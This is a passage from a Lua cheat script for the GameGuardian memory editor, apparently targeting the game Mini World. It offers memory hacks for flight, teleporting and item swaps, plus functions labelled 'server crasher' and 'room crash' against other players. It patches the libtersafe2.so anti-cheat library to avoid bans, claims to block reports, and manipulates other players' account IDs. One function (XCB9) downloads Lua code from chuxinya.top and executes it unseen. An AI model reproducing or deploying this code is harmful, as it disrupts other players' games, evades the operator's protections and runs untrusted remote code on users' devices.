{["value"] = 3, ["offset"] = 32,  ["type"] = 4, ["freeze"] = true},
}
xqmnb(qmnb)
gg.clearResults()
end



function XCB3()  
  x2= gg.choice({
    '🌀主视角🌀',
    '🌀正视角🌀',
    '🌀背视角🌀',
    '🌀俯视角🌀',
    '🌀动作视角🌀',
    '🎡返回主页🎡'},2018,os.date('苏洽原创'))
  if x2==1 then x=0 end
  if x2==2 then x=2 end
  if x2==3 then x=1 end
  if x2==4 then x=4 end
  if x2==4 then x=3 end
  if x2==5 then Main() end
local t = {'libAppPlayJNI.so:bss', 'Cb'} 
local tt = {0x62C370, 0x130, 0x380, 0x368} 
local ttt = S_Pointer(t, tt, true)
gg.setValues({{address=ttt+0x538,flags=4,value=x}})
local t = {'libAppPlayJNI.so', 'Cd'} 
local tt = {0x6E5E8, 0x58, 0x38, 0x38} 
local ttt = S_Pointer(t, tt, true)
gg.setValues({{address = ttt, flags = 4, value = x}})
end



function XCB4()
local t = {"libAppPlayJNI.so:bss", "Cb"}
local tt = {0x62C4B8, 0x338, 0x268, 0x1C}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = -157,585,565, freeze = true}})
gg.toast("连跳飞天开启成功")
end



function XCB5()  
qmnb = {
{["memory"] = 4},
{["name"] = "吸人"},
{["value"] = 220, ["type"] = 4},
{["lv"] = 60, ["offset"] = -16, ["type"] = 4},
{["lv"] = 180, ["offset"] = -12, ["type"] = 4},
{["lv"] = 120, ["offset"] = -4, ["type"] = 4},
{["lv"] = 120, ["offset"] = 4, ["type"] = 4},
}
qmxg = {
{["value"] = 0, ["offset"] = 8, ["type"] = 4, ["freeze"] = true},
{["value"] = 0, ["offset"] = 16, ["type"] = 4, ["freeze"] = true},

}
xqmnb(qmnb)
gg.clearResults()
end



function XCB6()  
local a=gg.prompt({'Y轴(竖)️','X轴(横)','高度'})
  if not a then gg.alert('请全部填写',false)
    return nil
  end
  if a[1]~='' and a[2]~='' then if a[3]~='' then
      a[1] = a[1]..'00'
      a[2] = a[2]..'00'
      a[3] = a[3]..'00'
so({'传送',944892805240,4,32},{{220,4,4},{180,-8,4}},{{a[1],12,4},{a[2],20,4},{a[3],16,4}})
    end
  end
end



function XCB7()  
  gg.setRanges(4)
  local dataType = 4
  local tb1 = {{1117126656, 0},{256, -0x24},{65793, -0x6C},}
  local tb2 = {{ -0x74 }, }
  SearchWrite(tb1, tb2, dataType)
  sln=gg.getResultCount()
  if sln<1 then return end 
  local nmb=gg.getResults(1)
  sl=gg.getValues(nmb)
  nnb=sl[1].value
  gg.alert("🛸手持物品代码为["..nnb.."]🛸")
end


function XCB8()  
a = gg.prompt({'输入道具代码,12239恢复'}
,{[1]=11907},{[1]='number'})[1]
if not a then return end
so({'喷漆罐改物品',12240,4,4},{{200,0x228,4},{2,8,4}},{{a,-0x400,4,1}})
end


function XCB9()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/9a55cdefacff70cbd9cac5e631ef8969.lua").content))
end



function XCB10()  
gg.clearResults()
gg.setRanges(gg.REGION_C_ALLOC)
gg.searchNumber("-1;10;-1;945804460D", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("-1", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(20)
gg.getResults(100)
v = gg.prompt({i='输入跳跃倍数'}, {i='150'})
gg.editAll(v['i'], 16)
gg.toast("高跳开启成功\n共耗时:"..os.clock()-time.."秒")
end



function XCB11()  
F = gg.alert("选择开关","开","关")
if  F== 1 then
qmnb = {
{["memory"] = 4},
{["name"] = "平飞无检"},
{["value"] = 515396075740, ["type"] = 32},
{["lv"] = 60, ["offset"] = -16, ["type"] = 4},
{["lv"] = 180, ["offset"] = -12, ["type"] = 4},
{["lv"] = 120, ["offset"] = -4, ["type"] = 4},
}
qmxg = {
{["value"] = 1, ["offset"] = 64, ["type"] = 4, ["freeze"] = true},
}
xqmnb(qmnb)
elseif F == 2 then
qmnb = {
{["memory"] = 4},
{["name"] = ""},
{["value"] = 515396075740, ["type"] = 32},
{["lv"] = 60, ["offset"] = -16, ["type"] = 4},
{["lv"] = 180, ["offset"] = -12, ["type"] = 4},
{["lv"] = 120, ["offset"] = -4, ["type"] = 4},

}
qmxg = {
{["value"] = 1, ["offset"] = 64, ["type"] = 4, ["freeze"] = false},
}
xqmnb(qmnb)
end end



function XCB12()
a = gg.prompt({'输入编辑器放置距离'}
,{[1]=100},{[1]='number'})[1]
if not a then return end
local t = {'libAppPlayJNI.so', 'Cd'}
local tt = {0x6E5D0, 0x10, 0x84}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = a, freeze = true}})
end



function XCB13()
qmnb = {{["memory"] = 4},
{["name"] = "无限星星"},
{["value"] = 4474776592571170816, ["type"] = 32},{["lv"] = 1120403456, ["offset"] = -24, ["type"] = 32},}
qmxg = {{["value"] = 1000000, ["offset"] = -80, ["type"] = 16, 
["freeze"] = true},{["value"] = 1000000, ["offset"] = -256, ["type"] = 16, ["freeze"] = true},{["value"] = 0.00006336603, ["offset"] = 0x14, ["type"] = 16},
}xqmnb(qmnb)
end



function XCB14()
rwms = gg.prompt({"输入你的迷你号","人物模式\n1-足球 2-恢复 3-篮球"},{[1]=""},{[2]=""},{[1]="number"},{[2]="number"})gg.toast(so({"人物模式",rwms[1],4,4},{{1065353216,0x118},{1065353216,0x174,4}},{{rwms[2],0x1F8,4,1}}))gg.toast("模式已修改为"..rwms[2].."")end



function XCB15()
so({('金稿秒蓄'),1060320051,4,4},{{65538,-4,4}},{{0.1,0xC,16}})
gg.toast("金稿秒蓄力开启成功")
end



function XCB16()
	 SN = gg.choice({
     "开启崩服器",
     "关闭崩服器(查看效果)",
     "超级崩服器(请先开启崩服器)",
}, nil, "进入服务器直接崩了他们")
if SN==1 then
     E2a1()
end
if SN==2 then
     E2a2()
end
if SN==3 then
     E2a3()
end
FX1=0
end

function E2a1()
function bf(qmnb,qmxg)
gg.setVisible(false)
gg.clearResults()
qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])
gg.searchNumber(qmnbv,qmnbt)
gg.refineNumber(qmnbv,qmnbt)
sz=gg.getResultCount()
if sz==0 then
gg.toast(qmnbn.."开启失败,请尝试重启游戏")
else
sl=gg.getResults(999999)
for i=1,sz do
pdsz=true
for v=4,#qmnb do
if pdsz==true then
pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")
pyszpd=tostring(szpy[1].value):gsub(",","")
if tzszpd==pyszpd then 
pdjg=true pdsz=true
else
pdjg=false
pdsz=false
end
end
end
if pdjg==true then
szpy=sl[i].address
for x=1,#qmxg do
xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}
if xgdj==true then
xg[1].freeze=xgdj
gg.addListItems(xg)
else
gg.setValues(xg)
end
end
xgjg=true
end 
end
if xgjg==true then
gg.toast(qmnbn.."开启成功,共注入 2 条冻结数据")
else 
gg.toast(qmnbn.."开启失败,请尝试重启游戏")
end
end
end
bf(
{
{4},
{"崩服器"}, 
{773094113340, gg.TYPE_QWORD},
{220, 16, gg.TYPE_DWORD}, 
},
{
{-10000, 28, gg.TYPE_DWORD, true},
}
)
     gg.clearResults()
end

function E2a2()
	 gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("16777472;16777216;16777472;16777216", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("99999", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.toast("时间已过,自动开始崩服")
     gg.clearResults()
     CA1()
end

function E2a3()
     function jiuyan(qmnb,qmxg)
gg.setVisible(false)
gg.clearResults()
qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])
gg.searchNumber(qmnbv,qmnbt)
gg.refineNumber(qmnbv,qmnbt)
sz=gg.getResultCount()
if sz==0 then
gg.toast(qmnbn.."开启失败,请尝试重启游戏")
else
sl=gg.getResults(999999)
for i=1,sz do
pdsz=true
for v=4,#qmnb do
if pdsz==true then
pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")
pyszpd=tostring(szpy[1].value):gsub(",","")
if tzszpd==pyszpd then 
pdjg=true pdsz=true
else
pdjg=false
pdsz=false
end
end
end
if pdjg==true then
szpy=sl[i].address
for x=1,#qmxg do
xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}
if xgdj==true then
xg[1].freeze=xgdj
gg.addListItems(xg)
else
gg.setValues(xg)
end
end
xgjg=true
end 
end
if xgjg==true then
gg.toast(qmnbn.."开启成功,共注入 2 条冻结数据")
else 
gg.toast(qmnbn.."开启失败,请尝试重启游戏")
end
end
end
jiuyan(
{
{4},
{"崩服器升级"}, 
{773094113340, gg.TYPE_QWORD},
{220, 16, gg.TYPE_DWORD},  
},
{
{1000, 32, gg.TYPE_DWORD, true},
}
)
     gg.clearResults()
end

function HS73()
	 os.exit()
end



function XCB17()
gg.clearResults()gg.setRanges(16384)
gg.searchNumber("26,214,400", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
jg=gg.getResults(330)sl=gg.getResultCount()
if sl>500 then sl=500 end for i = 1, sl do 
dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 0}})
end gg.clearResults()
gg.clearResults()gg.setRanges(16384)
gg.searchNumber("25,296,896", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
jg=gg.getResults(330)sl=gg.getResultCount()
if sl>500 then sl=500 end for i = 1, sl do
dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 0}})
end gg.clearResults()
gg.clearResults()gg.setRanges(16384)
gg.searchNumber("30,670,848", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
jg=gg.getResults(330)sl=gg.getResultCount()
if sl>500 then sl=500 end for i = 1, sl do
dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 0}})
end gg.clearResults()
gg.clearResults()gg.setRanges(16384)
gg.searchNumber("25,690,112", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
jg=gg.getResults(330)sl=gg.getResultCount()
if sl>500 then sl=500 end for i = 1, sl do
dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 0}})
end gg.clearResults()
gg.clearResults()gg.setRanges(16384)
gg.searchNumber("17,629,439", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
jg=gg.getResults(330)sl=gg.getResultCount()
if sl>200 then sl=200 end for i = 1, sl do
dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 0}})
end gg.clearResults()
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X3789F4 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X3789F8 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X3789FC setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X378A00 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38EF84 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38EFC0 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38EFE8 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38F01C setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X15FD88 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X36D738 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X3788C4 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38E8F8 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38E91C setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38F090 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38F0D4 setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38F0EC setvalue(so+py,4,-1)
so=gg.getRangesList('libtersafe2.so')[1].start
py=0X38F0F0 setvalue(so+py,4,-1)
gg.toast("账号防封已注入")end

function XCB18()
gg.clearResults()gg.setRanges(16384)
gg.searchNumber(":seconds", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber(":seconds", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(99999)gg.editAll("防举报", gg.TYPE_BYTE)
gg.toast("防举报已注入️")end

function XCB19()
zymnh = gg.prompt({"输入自己的迷你号","输入转移方迷你号"},{[1]=""},{[2]=""},{[1]="number"},{[2]="number"})gg.toast(so({"迷你防官方检测第三方",zymnh[1],4,4},{{119,-468,4}},{{zymnh[2],0,4,1}}))end

function XCB20()
mnhdz=gg.prompt({"输入自己迷你号","输入对接迷你号"},{[1]="",[2]=""},{[1]="number",[2]="number"})gg.toast(so({"账号对接",mnhdz[1],4,32},{{0,4,32},{0,8,32},{0,12,32},{0,16,32},{0,20,32},{0,24,32},{0,28,32},{0,32,32},{0,36,32},{0,40,32},{0,44,32},{0,48,32},{0,52,32},{0,56,4},{0,60,4},{0,0x5C,4},{0,0x60,4}},{{mnhdz[2],0,32}}))gg.toast("迷你号已对接为"..mnhdz[1].."")end

function XCB21()
editData(
{
{["memory"] = gg.REGION_CODE_APP},
{["name"] = "Xa防封1"},
{["value"] = 54545, ["type"] = 4},
{["lv"] = 0, ["offset"] = -312, ["type"] = 4},
},
{
{["value"] = 0,["offset"] =0, ["type"] = 4,["freeze"] = true},
}
)
gg.clearResults()
end

function XCB22()
editData(
{
{["memory"] = gg.REGION_CODE_APP},
{["name"] = "Xa防封2"},
{["value"] = 54545, ["type"] = 4},
{["lv"] = 75156088, ["offset"] = -492, ["type"] = 4},
},
{
{["value"] = 0,["offset"] =0, ["type"] = 4,["freeze"] = true},
}
)
gg.clearResults()
end

function XCB23()
F = gg.alert("房间崩溃","开","关闭️")if F~=1 and F~=2 then else end if  F== 1 then gg.toast(so({"房间崩溃",773094113340,4,32},{{220,16,4}},{{-10000,28,4,1}}))gg.toast("房间崩溃开启成功")elseif F == 2 then gg.toast(so({"房间崩溃",773094113340,4,32},{{220,16,4}},{{-10000,28,4,1}}))gg.toast("房间崩溃关闭成功")end end

function XCB24()
fxsd = gg.prompt({"请输入飞行速度"},{[1]=''},{[1]="number"})[1]gg.alert(so({"飞行速度",778462837,16384,4},{{-1109160391,-0x28,4}},{{fxsd,-0x2c,16,2}}))gg.toast("༺ཌༀ⛦🌿飞行速度已修改为"..fxsd.."")end

function Main4()  
SN = gg.multiChoice({
"🍡突刺长枪改远古巨人🍡",--1
"🍡能量剑改编辑器🍡",--2
"🍡短剑改黑龙🍡",--3
"🍡一键修改虚空幻影祭台🍡",--4
"🍡自定义改模式🍡",--5
"🍡龙骨弓改黑龙球🍡",--6
"🍡吹箭筒改破坏方块🍡",--7
"🍡石矛改虚空幻影-猛🍡",--8
"🍡木棒改水🍡",--9
"🍡碰碰锤改剧毒🍡",--10
"🍡钨金铲改流沙🍡",--11
"🍡钨金镐改岩浆🍡",--12
"🍡钨金耙改蜂蜜🍡",--13
"🍡星团云瓶改星云棒🍡",--14
"🍡自定义改物🍡",--15
"🍡秘银镐改污染核心🍡",--16
"🍡彩蛋改长方体🍡",--17
"🍡自定义改香瓜🍡",--18
"🍡蜂刺飞镖改沙虫🍡",--19
"🍡脉冲箭改羽蛇神🍡",--20
"🍡钩爪改虚空幻影-讯🍡",--21
"🍡塞子改远古巨像🍡",--22
"🍡收割者改蓝色炸弹🍡",--23
"🍡钛金战锤改红色炸弹🍡",--24
"🍡短弓改白色炸弹🍡",--25
"🍡子弹改仙云棒🍡",--26
"🍡删房主备份🍡",--27
"🍡刷怪方块boss🍡",--28
"🍡云服改模式🍡",--29
"🎡返 回 主 页🎡",
 }, nil, "炸图科技区·目前功能:29个(不要一下开太多功能会闪退)")
if SN == nil then else
if SN[1]==true then     XCP1() end
if SN[2]==true then     XCP2() end
if SN[3]==true then     XCP3() end
if SN[4]==true then     XCP4() end
if SN[5]==true then     XCP5() end
if SN[6]==true then     XCP6() end
if SN[7]==true then     XCP7() end
if SN[8]==true then     XCP8() end
if SN[9]==true then     XCP9() end
if SN[10]==true then     XCP10() end
if SN[11]==true then     XCP11() end
if SN[12]==true then     XCP12() end
if SN[13]==true then     XCP13() end
if SN[14]==true then     XCP14() end
if SN[15]==true then     XCP15() end
if SN[16]==true then     XCP16() end
if SN[17]==true then     XCP17() end
if SN[18]==true then     XCP18() end
if SN[19]==true then     XCP19() end
if SN[20]==true then     XCP20() end
if SN[21]==true then     XCP21() end
if SN[22]==true then     XCP22() end
if SN[23]==true then     XCP23() end
if SN[24]==true then     XCP24() end
if SN[25]==true then     XCP25() end
if SN[26]==true then     XCP26() end
if SN[27]==true then     XCP27() end
if SN[28]==true then     XCP28() end
if SN[29]==true then     XCP29() end
if SN[30]==true then     Main() end
end
FX=0 end

function XCP1()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12004", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13514", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end


function XCP2()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12005", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("10500", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP3()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12003", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13502", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end

function XCP4()
 --第一格104改140
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=11422,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
--b7x2()
qmxg={
{["value"]=140,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
--b7x2()

--第二格5055改141
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=11423,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
--b7x3()
qmxg={
{["value"]=141,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
--b7x3()

  --第三格101改142
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=11654,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
--b7x4()
qmxg={
{["value"]=142,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
end




function XCP5()
o2= gg.choice({
"🍼改为编辑模式🍼",
"🍼改为创造模式🍼",
"🍼改为冒险模式🍼",    
"🍼改为玩法模式🍼",   
"🍼改为极限模式🍼",   
"🎡返 回 主 页🎡"},2018,os.date("🍼已修复🍼"))
if o2==1 then aa8(4) end
if o2==2 then aa9(1) end
if o2==3 then aa9(0) end
if o2==4 then aa8(5) end
if o2==5 then aa9(3) end
XGCK=-1 end

function aa8(o) 
local tpw for i,v in ipairs(gg.getListItems())do if v.value==11522 then tpw=1 break end end 
if tpw then else so({"获取房主迷你号",11522,4,4},{{11014,4}},{{nil,0,4,2}}) end
local tuf for i,v in ipairs(gg.getListItems())do 
if v.value==11522 then  hjp=gg.getValues({{address=v.address+0x14,flags=v.flags}}) mkq=hjp[1].value tuf=1 break end end  
if tuf then 
if mkq==0 then else
gg.toast(so({"自定义地图改模式",mkq,4,4},{{"1000~4000000000",4},{"4~5",-4}},{{o,-4,4}}))
end end end

function aa9(o) 
local tpw for i,v in ipairs(gg.getListItems())do if v.value==11522 then tpw=1 break end end 
if tpw then else so({"获取房主迷你号",11522,4,4},{{11014,4}},{{nil,0,4,1}}) end
local tuf for i,v in ipairs(gg.getListItems())do 
if v.value==11522 then  hjp=gg.getValues({{address=v.address+0x14,flags=v.flags}}) mkq=hjp[1].value tuf=1 break end end  
if tuf then 
if mkq==0 then else
gg.toast(so({"自定义地图改模式",mkq,4,4},{{"1000~4000000000",4},{"0~3",-4}},{{o,-4,4}}))
end end end

function XCP6()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12056", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15056", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP7()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12288", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11551", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end




function XCP8()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12002", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13516", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP9()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12001", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("4", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP10()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11230", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("18", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP11()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11025", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("14", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP12()  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11015", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("6", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP13()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11035", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("12", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP14()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11095", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11063", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP15()
as2 = gg.prompt({"→输入要更改物品的代码←"}
,{[1]="12005"},{[1]="number"})[1]
as3 = gg.prompt({"→输入要更改物品的代码←"}
,{[1]="15056"},{[1]="number"})[1]
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=as2,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
qmxg={
{["value"]=as3,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
end



function XCP16()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11013", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("1049", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP17()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12248", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15525", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP18()
local XG = gg.prompt({"输入方块代码"}
,{[1]=835},{[1]="number"})[1]
if not XG then return end
gg.toast(so({"自定义改香瓜开启成功",42949672960230,4,32},{{230,0x10,4},{10000,4,4}},{{XG,-0x60,4}}))
end



function XCP19()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12289", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13825", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP20()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12292", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13878", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP21()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12544", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13515", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP22()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12008", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13510", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP23()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12009", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15064", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP24()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12010", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15065", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP25()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12050", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15518", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP26()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("15003", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11063", gg.TYPE_DWORD)
  gg.toast("开启成功")
  gg.clearResults()
end



function XCP27()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("11011", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("11011", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 12005}})
	 end
	 gg.toast("删除备份成功,已注入37项数据")
	 gg.clearResults()
end



function XCP28()
xgsgfk= gg.choice({
"黑龙",
"远古巨人",
"虚空幻影",
"羽蛇神",
"沙虫",
"远古叮叮",
"自定义添加",
"🎡返 回 主 页🎡",},2018,os.date("去卡死母牛🐒吧!"))
if xgsgfk==1 then xgdm=3504 fknxg() end
if xgsgfk==2 then xgdm=3514 fknxg() end
if xgsgfk==3 then xgdm=3516 fknxg() end
if xgsgfk==4 then xgdm=3878 fknxg() end
if xgsgfk==5 then xgdm=3825 fknxg() end
if xgsgfk==6 then xgdm=3511 fknxg() end
if xgsgfk==7 then dyxg() end
if xgsgfk==8 then Main()end XGCK=-1 end
function dyxg()
dyxg = gg.prompt({"输入那个生物的召唤代码"},{[1]=""},{[1]="number"})[1]gg.toast(so({"方块内生物","3400~4622",4,64},{{1084920320,20,4}},{{dyxg,0,64}}))gg.toast("方块内生物已修改为["..dyxg.."]")end
function fknxg()
gg.toast(so({"方块内生物","3400~4622",4,64},{{1084920320,20,4}},{{xgdm,0,64}}))gg.toast("方块内生物已修改为["..xgdm.."]")end



function XCP29()
xgms2= gg.choice({
"༺ཌༀ⛦🌿编 辑 模 式🌿⛦ༀད༻",
